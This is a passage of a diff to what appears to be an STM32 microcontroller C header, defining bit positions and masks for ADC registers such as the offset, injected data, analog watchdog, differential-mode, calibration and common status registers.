+#define ADC_JSQR_JSQ3_2 (0x04UL << ADC_JSQR_JSQ3_Pos) /*!< 0x00800000 */ +#define ADC_JSQR_JSQ3_3 (0x08UL << ADC_JSQR_JSQ3_Pos) /*!< 0x01000000 */ +#define ADC_JSQR_JSQ3_4 (0x10UL << ADC_JSQR_JSQ3_Pos) /*!< 0x02000000 */ + +#define ADC_JSQR_JSQ4_Pos (27U) +#define ADC_JSQR_JSQ4_Msk (0x1FUL << ADC_JSQR_JSQ4_Pos) /*!< 0xF8000000 */ +#define ADC_JSQR_JSQ4 ADC_JSQR_JSQ4_Msk /*!< ADC group injected sequencer rank 4 */ +#define ADC_JSQR_JSQ4_0 (0x01UL << ADC_JSQR_JSQ4_Pos) /*!< 0x08000000 */ +#define ADC_JSQR_JSQ4_1 (0x02UL << ADC_JSQR_JSQ4_Pos) /*!< 0x10000000 */ +#define ADC_JSQR_JSQ4_2 (0x04UL << ADC_JSQR_JSQ4_Pos) /*!< 0x20000000 */ +#define ADC_JSQR_JSQ4_3 (0x08UL << ADC_JSQR_JSQ4_Pos) /*!< 0x40000000 */ +#define ADC_JSQR_JSQ4_4 (0x10UL << ADC_JSQR_JSQ4_Pos) /*!< 0x80000000 */ + +/******************** Bit definition for ADC_OFR1 register ******************/ +#define ADC_OFR1_OFFSET1_Pos (0U) +#define ADC_OFR1_OFFSET1_Msk (0xFFFUL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00000FFF */ +#define ADC_OFR1_OFFSET1 ADC_OFR1_OFFSET1_Msk /*!< ADC offset number 1 offset level */ + +#define ADC_OFR1_OFFSETPOS_Pos (24U) +#define ADC_OFR1_OFFSETPOS_Msk (0x1UL << ADC_OFR1_OFFSETPOS_Pos) /*!< 0x01000000 */ +#define ADC_OFR1_OFFSETPOS ADC_OFR1_OFFSETPOS_Msk /*!< ADC offset number 1 positive */ +#define ADC_OFR1_SATEN_Pos (25U) +#define ADC_OFR1_SATEN_Msk (0x1UL << ADC_OFR1_SATEN_Pos) /*!< 0x02000000 */ +#define ADC_OFR1_SATEN ADC_OFR1_SATEN_Msk /*!< ADC offset number 1 saturation enable */ + +#define ADC_OFR1_OFFSET1_CH_Pos (26U) +#define ADC_OFR1_OFFSET1_CH_Msk (0x1FUL << ADC_OFR1_OFFSET1_CH_Pos) /*!< 0x7C000000 */ +#define ADC_OFR1_OFFSET1_CH ADC_OFR1_OFFSET1_CH_Msk /*!< ADC offset number 1 channel selection */ +#define ADC_OFR1_OFFSET1_CH_0 (0x01UL << ADC_OFR1_OFFSET1_CH_Pos) /*!< 0x04000000 */ +#define ADC_OFR1_OFFSET1_CH_1 (0x02UL << ADC_OFR1_OFFSET1_CH_Pos) /*!< 0x08000000 */ +#define ADC_OFR1_OFFSET1_CH_2 (0x04UL << ADC_OFR1_OFFSET1_CH_Pos) /*!< 0x10000000 */ +#define ADC_OFR1_OFFSET1_CH_3 (0x08UL << ADC_OFR1_OFFSET1_CH_Pos) /*!< 0x20000000 */ +#define ADC_OFR1_OFFSET1_CH_4 (0x10UL << ADC_OFR1_OFFSET1_CH_Pos) /*!< 0x40000000 */ + +#define ADC_OFR1_OFFSET1_EN_Pos (31U) +#define ADC_OFR1_OFFSET1_EN_Msk (0x1UL << ADC_OFR1_OFFSET1_EN_Pos) /*!< 0x80000000 */ +#define ADC_OFR1_OFFSET1_EN ADC_OFR1_OFFSET1_EN_Msk /*!< ADC offset number 1 enable */ + +/******************** Bit definition for ADC_OFR2 register ******************/ +#define ADC_OFR2_OFFSET2_Pos (0U) +#define ADC_OFR2_OFFSET2_Msk (0xFFFUL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00000FFF */ +#define ADC_OFR2_OFFSET2 ADC_OFR2_OFFSET2_Msk /*!< ADC offset number 2 offset level */ + +#define ADC_OFR2_OFFSETPOS_Pos (24U) +#define ADC_OFR2_OFFSETPOS_Msk (0x1UL << ADC_OFR2_OFFSETPOS_Pos) /*!< 0x01000000 */ +#define ADC_OFR2_OFFSETPOS ADC_OFR2_OFFSETPOS_Msk /*!< ADC offset number 2 positive */ +#define ADC_OFR2_SATEN_Pos (25U) +#define ADC_OFR2_SATEN_Msk (0x1UL << ADC_OFR2_SATEN_Pos) /*!< 0x02000000 */ +#define ADC_OFR2_SATEN ADC_OFR2_SATEN_Msk /*!< ADC offset number 2 saturation enable */ + +#define ADC_OFR2_OFFSET2_CH_Pos (26U) +#define ADC_OFR2_OFFSET2_CH_Msk (0x1FUL << ADC_OFR2_OFFSET2_CH_Pos) /*!< 0x7C000000 */ +#define ADC_OFR2_OFFSET2_CH ADC_OFR2_OFFSET2_CH_Msk /*!< ADC offset number 2 channel selection */ +#define ADC_OFR2_OFFSET2_CH_0 (0x01UL << ADC_OFR2_OFFSET2_CH_Pos) /*!< 0x04000000 */ +#define ADC_OFR2_OFFSET2_CH_1 (0x02UL << ADC_OFR2_OFFSET2_CH_Pos) /*!< 0x08000000 */ +#define ADC_OFR2_OFFSET2_CH_2 (0x04UL << ADC_OFR2_OFFSET2_CH_Pos) /*!< 0x10000000 */ +#define ADC_OFR2_OFFSET2_CH_3 (0x08UL << ADC_OFR2_OFFSET2_CH_Pos) /*!< 0x20000000 */ +#define ADC_OFR2_OFFSET2_CH_4 (0x10UL << ADC_OFR2_OFFSET2_CH_Pos) /*!< 0x40000000 */ + +#define ADC_OFR2_OFFSET2_EN_Pos (31U) +#define ADC_OFR2_OFFSET2_EN_Msk (0x1UL << ADC_OFR2_OFFSET2_EN_Pos) /*!< 0x80000000 */ +#define ADC_OFR2_OFFSET2_EN ADC_OFR2_OFFSET2_EN_Msk /*!< ADC offset number 2 enable */ + +/******************** Bit definition for ADC_OFR3 register ******************/ +#define ADC_OFR3_OFFSET3_Pos (0U) +#define ADC_OFR3_OFFSET3_Msk (0xFFFUL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00000FFF */ +#define ADC_OFR3_OFFSET3 ADC_OFR3_OFFSET3_Msk /*!< ADC offset number 3 offset level */ + +#define ADC_OFR3_OFFSETPOS_Pos (24U) +#define ADC_OFR3_OFFSETPOS_Msk (0x1UL << ADC_OFR3_OFFSETPOS_Pos) /*!< 0x01000000 */ +#define ADC_OFR3_OFFSETPOS ADC_OFR3_OFFSETPOS_Msk /*!< ADC offset number 3 positive */ +#define ADC_OFR3_SATEN_Pos (25U) +#define ADC_OFR3_SATEN_Msk (0x1UL << ADC_OFR3_SATEN_Pos) /*!< 0x02000000 */ +#define ADC_OFR3_SATEN ADC_OFR3_SATEN_Msk /*!< ADC offset number 3 saturation enable */ + +#define ADC_OFR3_OFFSET3_CH_Pos (26U) +#define ADC_OFR3_OFFSET3_CH_Msk (0x1FUL << ADC_OFR3_OFFSET3_CH_Pos) /*!< 0x7C000000 */ +#define ADC_OFR3_OFFSET3_CH ADC_OFR3_OFFSET3_CH_Msk /*!< ADC offset number 3 channel selection */ +#define ADC_OFR3_OFFSET3_CH_0 (0x01UL << ADC_OFR3_OFFSET3_CH_Pos) /*!< 0x04000000 */ +#define ADC_OFR3_OFFSET3_CH_1 (0x02UL << ADC_OFR3_OFFSET3_CH_Pos) /*!< 0x08000000 */ +#define ADC_OFR3_OFFSET3_CH_2 (0x04UL << ADC_OFR3_OFFSET3_CH_Pos) /*!< 0x10000000 */ +#define ADC_OFR3_OFFSET3_CH_3 (0x08UL << ADC_OFR3_OFFSET3_CH_Pos) /*!< 0x20000000 */ +#define ADC_OFR3_OFFSET3_CH_4 (0x10UL << ADC_OFR3_OFFSET3_CH_Pos) /*!< 0x40000000 */ + +#define ADC_OFR3_OFFSET3_EN_Pos (31U) +#define ADC_OFR3_OFFSET3_EN_Msk (0x1UL << ADC_OFR3_OFFSET3_EN_Pos) /*!< 0x80000000 */ +#define ADC_OFR3_OFFSET3_EN ADC_OFR3_OFFSET3_EN_Msk /*!< ADC offset number 3 enable */ + +/******************** Bit definition for ADC_OFR4 register ******************/ +#define ADC_OFR4_OFFSET4_Pos (0U) +#define ADC_OFR4_OFFSET4_Msk (0xFFFUL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00000FFF */ +#define ADC_OFR4_OFFSET4 ADC_OFR4_OFFSET4_Msk /*!< ADC offset number 4 offset level */ + +#define ADC_OFR4_OFFSETPOS_Pos (24U) +#define ADC_OFR4_OFFSETPOS_Msk (0x1UL << ADC_OFR4_OFFSETPOS_Pos) /*!< 0x01000000 */ +#define ADC_OFR4_OFFSETPOS ADC_OFR4_OFFSETPOS_Msk /*!< ADC offset number 4 positive */ +#define ADC_OFR4_SATEN_Pos (25U) +#define ADC_OFR4_SATEN_Msk (0x1UL << ADC_OFR4_SATEN_Pos) /*!< 0x02000000 */ +#define ADC_OFR4_SATEN ADC_OFR4_SATEN_Msk /*!< ADC offset number 4 saturation enable */ + +#define ADC_OFR4_OFFSET4_CH_Pos (26U) +#define ADC_OFR4_OFFSET4_CH_Msk (0x1FUL << ADC_OFR4_OFFSET4_CH_Pos) /*!< 0x7C000000 */ +#define ADC_OFR4_OFFSET4_CH ADC_OFR4_OFFSET4_CH_Msk /*!< ADC offset number 4 channel selection */ +#define ADC_OFR4_OFFSET4_CH_0 (0x01UL << ADC_OFR4_OFFSET4_CH_Pos) /*!< 0x04000000 */ +#define ADC_OFR4_OFFSET4_CH_1 (0x02UL << ADC_OFR4_OFFSET4_CH_Pos) /*!< 0x08000000 */ +#define ADC_OFR4_OFFSET4_CH_2 (0x04UL << ADC_OFR4_OFFSET4_CH_Pos) /*!< 0x10000000 */ +#define ADC_OFR4_OFFSET4_CH_3 (0x08UL << ADC_OFR4_OFFSET4_CH_Pos) /*!< 0x20000000 */ +#define ADC_OFR4_OFFSET4_CH_4 (0x10UL << ADC_OFR4_OFFSET4_CH_Pos) /*!< 0x40000000 */ + +#define ADC_OFR4_OFFSET4_EN_Pos (31U) +#define ADC_OFR4_OFFSET4_EN_Msk (0x1UL << ADC_OFR4_OFFSET4_EN_Pos) /*!< 0x80000000 */ +#define ADC_OFR4_OFFSET4_EN ADC_OFR4_OFFSET4_EN_Msk /*!< ADC offset number 4 enable */ + +/******************** Bit definition for ADC_JDR1 register ******************/ +#define ADC_JDR1_JDATA_Pos (0U) +#define ADC_JDR1_JDATA_Msk (0xFFFFUL << ADC_JDR1_JDATA_Pos) /*!< 0x0000FFFF */ +#define ADC_JDR1_JDATA ADC_JDR1_JDATA_Msk /*!< ADC group injected sequencer rank 1 conversion data */ + +/******************** Bit definition for ADC_JDR2 register ******************/ +#define ADC_JDR2_JDATA_Pos (0U) +#define ADC_JDR2_JDATA_Msk (0xFFFFUL << ADC_JDR2_JDATA_Pos) /*!< 0x0000FFFF */ +#define ADC_JDR2_JDATA ADC_JDR2_JDATA_Msk /*!< ADC group injected sequencer rank 2 conversion data */ + +/******************** Bit definition for ADC_JDR3 register ******************/ +#define ADC_JDR3_JDATA_Pos (0U) +#define ADC_JDR3_JDATA_Msk (0xFFFFUL << ADC_JDR3_JDATA_Pos) /*!< 0x0000FFFF */ +#define ADC_JDR3_JDATA ADC_JDR3_JDATA_Msk /*!< ADC group injected sequencer rank 3 conversion data */ + +/******************** Bit definition for ADC_JDR4 register ******************/ +#define ADC_JDR4_JDATA_Pos (0U) +#define ADC_JDR4_JDATA_Msk (0xFFFFUL << ADC_JDR4_JDATA_Pos) /*!< 0x0000FFFF */ +#define ADC_JDR4_JDATA ADC_JDR4_JDATA_Msk /*!< ADC group injected sequencer rank 4 conversion data */ + +/******************** Bit definition for ADC_AWD2CR register ****************/ +#define ADC_AWD2CR_AWD2CH_Pos (0U) +#define ADC_AWD2CR_AWD2CH_Msk (0xFFFFFUL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x0007FFFF */ +#define ADC_AWD2CR_AWD2CH ADC_AWD2CR_AWD2CH_Msk /*!< ADC analog watchdog 2 monitored channel selection */ +#define ADC_AWD2CR_AWD2CH_0 (0x00001UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000001 */ +#define ADC_AWD2CR_AWD2CH_1 (0x00002UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000002 */ +#define ADC_AWD2CR_AWD2CH_2 (0x00004UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000004 */ +#define ADC_AWD2CR_AWD2CH_3 (0x00008UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000008 */ +#define ADC_AWD2CR_AWD2CH_4 (0x00010UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000010 */ +#define ADC_AWD2CR_AWD2CH_5 (0x00020UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000020 */ +#define ADC_AWD2CR_AWD2CH_6 (0x00040UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000040 */ +#define ADC_AWD2CR_AWD2CH_7 (0x00080UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000080 */ +#define ADC_AWD2CR_AWD2CH_8 (0x00100UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000100 */ +#define ADC_AWD2CR_AWD2CH_9 (0x00200UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000200 */ +#define ADC_AWD2CR_AWD2CH_10 (0x00400UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000400 */ +#define ADC_AWD2CR_AWD2CH_11 (0x00800UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000800 */ +#define ADC_AWD2CR_AWD2CH_12 (0x01000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00001000 */ +#define ADC_AWD2CR_AWD2CH_13 (0x02000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00002000 */ +#define ADC_AWD2CR_AWD2CH_14 (0x04000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00004000 */ +#define ADC_AWD2CR_AWD2CH_15 (0x08000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00008000 */ +#define ADC_AWD2CR_AWD2CH_16 (0x10000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00010000 */ +#define ADC_AWD2CR_AWD2CH_17 (0x20000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00020000 */ +#define ADC_AWD2CR_AWD2CH_18 (0x40000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00040000 */ +#define ADC_AWD2CR_AWD2CH_19 (0x80000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00080000 */ + +/******************** Bit definition for ADC_AWD3CR register ****************/ +#define ADC_AWD3CR_AWD3CH_Pos (0U) +#define ADC_AWD3CR_AWD3CH_Msk (0xFFFFFUL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x0007FFFF */ +#define ADC_AWD3CR_AWD3CH ADC_AWD3CR_AWD3CH_Msk /*!< ADC analog watchdog 3 monitored channel selection */ +#define ADC_AWD3CR_AWD3CH_0 (0x00001UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000001 */ +#define ADC_AWD3CR_AWD3CH_1 (0x00002UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000002 */ +#define ADC_AWD3CR_AWD3CH_2 (0x00004UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000004 */ +#define ADC_AWD3CR_AWD3CH_3 (0x00008UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000008 */ +#define ADC_AWD3CR_AWD3CH_4 (0x00010UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000010 */ +#define ADC_AWD3CR_AWD3CH_5 (0x00020UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000020 */ +#define ADC_AWD3CR_AWD3CH_6 (0x00040UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000040 */ +#define ADC_AWD3CR_AWD3CH_7 (0x00080UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000080 */ +#define ADC_AWD3CR_AWD3CH_8 (0x00100UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000100 */ +#define ADC_AWD3CR_AWD3CH_9 (0x00200UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000200 */ +#define ADC_AWD3CR_AWD3CH_10 (0x00400UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000400 */ +#define ADC_AWD3CR_AWD3CH_11 (0x00800UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000800 */ +#define ADC_AWD3CR_AWD3CH_12 (0x01000UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00001000 */ +#define ADC_AWD3CR_AWD3CH_13 (0x02000UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00002000 */ +#define ADC_AWD3CR_AWD3CH_14 (0x04000UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00004000 */ +#define ADC_AWD3CR_AWD3CH_15 (0x08000UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00008000 */ +#define ADC_AWD3CR_AWD3CH_16 (0x10000UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00010000 */ +#define ADC_AWD3CR_AWD3CH_17 (0x20000UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00020000 */ +#define ADC_AWD3CR_AWD3CH_18 (0x40000UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00040000 */ +#define ADC_AWD3CR_AWD2CH_19 (0x80000UL << ADC_AWD3CR_AWD2CH_Pos) /*!< 0x00080000 */ + +/******************** Bit definition for ADC_DIFSEL register ****************/ +#define ADC_DIFSEL_DIFSEL_Pos (0U) +#define ADC_DIFSEL_DIFSEL_Msk (0xFFFFFUL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x0007FFFF */ +#define ADC_DIFSEL_DIFSEL ADC_DIFSEL_DIFSEL_Msk /*!< ADC channel differential or single-ended mode */ +#define ADC_DIFSEL_DIFSEL_0 (0x00001UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000001 */ +#define ADC_DIFSEL_DIFSEL_1 (0x00002UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000002 */ +#define ADC_DIFSEL_DIFSEL_2 (0x00004UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000004 */ +#define ADC_DIFSEL_DIFSEL_3 (0x00008UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000008 */ +#define ADC_DIFSEL_DIFSEL_4 (0x00010UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000010 */ +#define ADC_DIFSEL_DIFSEL_5 (0x00020UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000020 */ +#define ADC_DIFSEL_DIFSEL_6 (0x00040UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000040 */ +#define ADC_DIFSEL_DIFSEL_7 (0x00080UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000080 */ +#define ADC_DIFSEL_DIFSEL_8 (0x00100UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000100 */ +#define ADC_DIFSEL_DIFSEL_9 (0x00200UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000200 */ +#define ADC_DIFSEL_DIFSEL_10 (0x00400UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000400 */ +#define ADC_DIFSEL_DIFSEL_11 (0x00800UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000800 */ +#define ADC_DIFSEL_DIFSEL_12 (0x01000UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00001000 */ +#define ADC_DIFSEL_DIFSEL_13 (0x02000UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00002000 */ +#define ADC_DIFSEL_DIFSEL_14 (0x04000UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00004000 */ +#define ADC_DIFSEL_DIFSEL_15 (0x08000UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00008000 */ +#define ADC_DIFSEL_DIFSEL_16 (0x10000UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00010000 */ +#define ADC_DIFSEL_DIFSEL_17 (0x20000UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00020000 */ +#define ADC_DIFSEL_DIFSEL_18 (0x40000UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00040000 */ +#define ADC_DIFSEL_DIFSEL_19 (0x80000UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00080000 */ + +/******************** Bit definition for ADC_CALFACT register ***************/ +#define ADC_CALFACT_CALFACT_S_Pos (0U) +#define ADC_CALFACT_CALFACT_S_Msk (0x7FUL << ADC_CALFACT_CALFACT_S_Pos) /*!< 0x0000007F */ +#define ADC_CALFACT_CALFACT_S ADC_CALFACT_CALFACT_S_Msk /*!< ADC calibration factor in single-ended mode */ +#define ADC_CALFACT_CALFACT_S_0 (0x01UL << ADC_CALFACT_CALFACT_S_Pos) /*!< 0x00000001 */ +#define ADC_CALFACT_CALFACT_S_1 (0x02UL << ADC_CALFACT_CALFACT_S_Pos) /*!< 0x00000002 */ +#define ADC_CALFACT_CALFACT_S_2 (0x04UL << ADC_CALFACT_CALFACT_S_Pos) /*!< 0x00000004 */ +#define ADC_CALFACT_CALFACT_S_3 (0x08UL << ADC_CALFACT_CALFACT_S_Pos) /*!< 0x00000008 */ +#define ADC_CALFACT_CALFACT_S_4 (0x10UL << ADC_CALFACT_CALFACT_S_Pos) /*!< 0x00000010 */ +#define ADC_CALFACT_CALFACT_S_5 (0x20UL << ADC_CALFACT_CALFACT_S_Pos) /*!< 0x00000020 */ +#define ADC_CALFACT_CALFACT_S_6 (0x40UL << ADC_CALFACT_CALFACT_S_Pos) /*!< 0x00000030 */ + +#define ADC_CALFACT_CALFACT_D_Pos (16U) +#define ADC_CALFACT_CALFACT_D_Msk (0x7FUL << ADC_CALFACT_CALFACT_D_Pos) /*!< 0x007F0000 */ +#define ADC_CALFACT_CALFACT_D ADC_CALFACT_CALFACT_D_Msk /*!< ADC calibration factor in differential mode */ +#define ADC_CALFACT_CALFACT_D_0 (0x01UL << ADC_CALFACT_CALFACT_D_Pos) /*!< 0x00010000 */ +#define ADC_CALFACT_CALFACT_D_1 (0x02UL << ADC_CALFACT_CALFACT_D_Pos) /*!< 0x00020000 */ +#define ADC_CALFACT_CALFACT_D_2 (0x04UL << ADC_CALFACT_CALFACT_D_Pos) /*!< 0x00040000 */ +#define ADC_CALFACT_CALFACT_D_3 (0x08UL << ADC_CALFACT_CALFACT_D_Pos) /*!< 0x00080000 */ +#define ADC_CALFACT_CALFACT_D_4 (0x10UL << ADC_CALFACT_CALFACT_D_Pos) /*!< 0x00100000 */ +#define ADC_CALFACT_CALFACT_D_5 (0x20UL << ADC_CALFACT_CALFACT_D_Pos) /*!< 0x00200000 */ +#define ADC_CALFACT_CALFACT_D_6 (0x40UL << ADC_CALFACT_CALFACT_D_Pos) /*!< 0x00300000 */ + +/******************** Bit definition for ADC_OR register *****************/ +#define ADC_OR_OP0_Pos (0U) +#define ADC_OR_OP0_Msk (0x01UL << ADC_OR_OP0_Pos) /*!< 0x00000001 */ +#define ADC_OR_OP0 ADC_OR_OP0_Msk /*!< ADC Option bit 0 */ +#define ADC_OR_OP1_Pos (1U) +#define ADC_OR_OP1_Msk (0x01UL << ADC_OR_OP1_Pos) /*!< 0x00000001 */ +#define ADC_OR_OP1 ADC_OR_OP1_Msk /*!< ADC Option bit 1 */ + +/************************* ADC Common registers *****************************/ +/******************** Bit definition for ADC_CSR register *******************/ +#define ADC_CSR_ADRDY_MST_Pos (0U) +#define ADC_CSR_ADRDY_MST_Msk (0x1UL << ADC_CSR_ADRDY_MST_Pos) /*!< 0x00000001 */ +#define ADC_CSR_ADRDY_MST ADC_CSR_ADRDY_MST_Msk /*!< ADC multimode master ready flag */ +#define ADC_CSR_EOSMP_MST_Pos (1U) +#define ADC_CSR_EOSMP_MST_Msk (0x1UL << ADC_CSR_EOSMP_MST_Pos) /*!< 0x00000002 */ +#define ADC_CSR_EOSMP_MST ADC_CSR_EOSMP_MST_Msk /*!< ADC multimode master group regular end of sampling flag */ +#define ADC_CSR_EOC_MST_Pos (2U) +#define ADC_CSR_EOC_MST_Msk (0x1UL << ADC_CSR_EOC_MST_Pos) /*!< 0x00000004 */ +#define ADC_CSR_EOC_MST ADC_CSR_EOC_MST_Msk /*!< ADC multimode master group regular end of unitary conversion flag */ +#define ADC_CSR_EOS_MST_Pos (3U) +#define ADC_CSR_EOS_MST_Msk (0x1UL << ADC_CSR_EOS_MST_Pos) /*!< 0x00000008 */ +#define ADC_CSR_EOS_MST ADC_CSR_EOS_MST_Msk /*!< ADC multimode master group regular end of sequence conversions flag */ +#define ADC_CSR_OVR_MST_Pos (4U) +#define ADC_CSR_OVR_MST_Msk (0x1UL << ADC_CSR_OVR_MST_Pos) /*!< 0x00000010 */ +#define ADC_CSR_OVR_MST ADC_CSR_OVR_MST_Msk /*!< ADC multimode master group regular overrun flag */ +#define ADC_CSR_JEOC_MST_Pos (5U) +#define ADC_CSR_JEOC_MST_Msk (0x1UL << ADC_CSR_JEOC_MST_Pos) /*!< 0x00000020 */ +#define ADC_CSR_JEOC_MST ADC_CSR_JEOC_MST_Msk /*!< ADC multimode master group injected end of unitary conversion flag */ +#define ADC_CSR_JEOS_MST_Pos (6U) +#define ADC_CSR_JEOS_MST_Msk (0x1UL << ADC_CSR_JEOS_MST_Pos) /*!< 0x00000040 */ +#define ADC_CSR_JEOS_MST ADC_CSR_JEOS_MST_Msk /*!< ADC multimode master group injected end of sequence conversions flag */ +#define ADC_CSR_AWD1_MST_Pos (7U) +#define ADC_CSR_AWD1_MST_Msk (0x1UL << ADC_CSR_AWD1_MST_Pos) /*!< 0x00000080 */ +#define ADC_CSR_AWD1_MST ADC_CSR_AWD1_MST_Msk /*!< ADC multimode master analog watchdog 1 flag */ +#define ADC_CSR_AWD2_MST_Pos (8U) +#define ADC_CSR_AWD2_MST_Msk (0x1UL << ADC_CSR_AWD2_MST_Pos) /*!< 0x00000100 */ +#define ADC_CSR_AWD2_MST ADC_CSR_AWD2_MST_Msk /*!< ADC multimode master analog watchdog 2 flag */ +#define ADC_CSR_AWD3_MST_Pos (9U) +#define ADC_CSR_AWD3_MST_Msk (0x1UL << ADC_CSR_AWD3_MST_Pos) /*!< 0x00000200 */ +#define ADC_CSR_AWD3_MST ADC_CSR_AWD3_MST_Msk /*!< ADC multimode master analog watchdog 3 flag */ +#define ADC_CSR_JQOVF_MST_Pos (10U) +#define ADC_CSR_JQOVF_MST_Msk (0x1UL << ADC_CSR_JQOVF_MST_Pos) /*!< 0x00000400 */ +#define ADC_CSR_JQOVF_MST ADC_CSR_JQOVF_MST_Msk /*!< ADC multimode master group injected contexts queue overflow flag */ + +#define ADC_CSR_ADRDY_SLV_Pos (16U) +#define ADC_CSR_ADRDY_SLV_Msk (0x1UL << ADC_CSR_ADRDY_SLV_Pos) /*!< 0x00010000 */ +#define ADC_CSR_ADRDY_SLV ADC_CSR_ADRDY_SLV_Msk /*!< ADC multimode slave ready flag */ +#define ADC_CSR_EOSMP_SLV_Pos (17U) +#define ADC_CSR_EOSMP_SLV_Msk (0x1UL << ADC_CSR_EOSMP_SLV_Pos) /*!< 0x00020000 */ +#define ADC_CSR_EOSMP_SLV ADC_CSR_EOSMP_SLV_Msk /*!< ADC multimode slave group regular end of sampling flag */ +#define ADC_CSR_EOC_SLV_Pos (18U) +#define ADC_CSR_EOC_SLV_Msk (0x1UL << ADC_CSR_EOC_SLV_Pos) /*!< 0x00040000 */ +#define ADC_CSR_EOC_SLV ADC_CSR_EOC_SLV_Msk /*!< ADC multimode slave group regular end of unitary conversion flag */ +#define ADC_CSR_EOS_SLV_Pos (19U) +#define ADC_CSR_EOS_SLV_Msk (0x1UL << ADC_CSR_EOS_SLV_Pos) /*!< 0x00080000 */ +#define ADC_CSR_EOS_SLV ADC_CSR_EOS_SLV_Msk /*!< ADC multimode slave group regular end of sequence conversions flag */ +#define ADC_CSR_OVR_SLV_Pos (20U) +#define ADC_CSR_OVR_SLV_Msk (0x1UL << ADC_CSR_OVR_SLV_Pos) /*!< 0x00100000 */ +#define ADC_CSR_OVR_SLV ADC_CSR_OVR_SLV_Msk /*!< ADC multimode slave group regular overrun flag */ +#define ADC_CSR_JEOC_SLV_Pos (21U) +#define ADC_CSR_JEOC_SLV_Msk (0x1UL << ADC_CSR_JEOC_SLV_Pos) /*!< 0x00200000 */ +#define ADC_CSR_JEOC_SLV ADC_CSR_JEOC_SLV_Msk /*!< ADC multimode slave group injected end of unitary conversion flag */ +#define ADC_CSR_JEOS_SLV_Pos (22U) +#define ADC_CSR_JEOS_SLV_Msk (0x1UL << ADC_CSR_JEOS_SLV_Pos) /*!< 0x00400000 */ +#define ADC_CSR_JEOS_SLV ADC_CSR_JEOS_SLV_Msk /*!< ADC multimode slave group injected end of sequence conversions flag */ +#define ADC_CSR_AWD1_SLV_Pos (23U) +#define ADC_CSR_AWD1_SLV_Msk (0x1UL << ADC_CSR_AWD1_SLV_Pos) /*!< 0x00800000 */ +#define ADC_CSR_AWD1_SLV ADC_CSR_AWD1_SLV_Msk /*!< ADC multimode slave analog watchdog 1 flag */ +#define ADC_CSR_AWD2_SLV_Pos (24U) +#define ADC_CSR_AWD2_SLV_Msk (0x1UL << ADC_CSR_AWD2_SLV_Pos) /*!< 0x01000000 */ +#define ADC_CSR_AWD2_SLV ADC_CSR_AWD2_SLV_Msk /*!< ADC multimode slave analog watchdog 2 flag */ +#define ADC_CSR_AWD3_SLV_Pos (25U) +#define ADC_CSR_AWD3_SLV_Msk (0x1UL << ADC_CSR_AWD3_SLV_Pos) /*!< 0x02000000 */ +#define ADC_CSR_AWD3_SLV 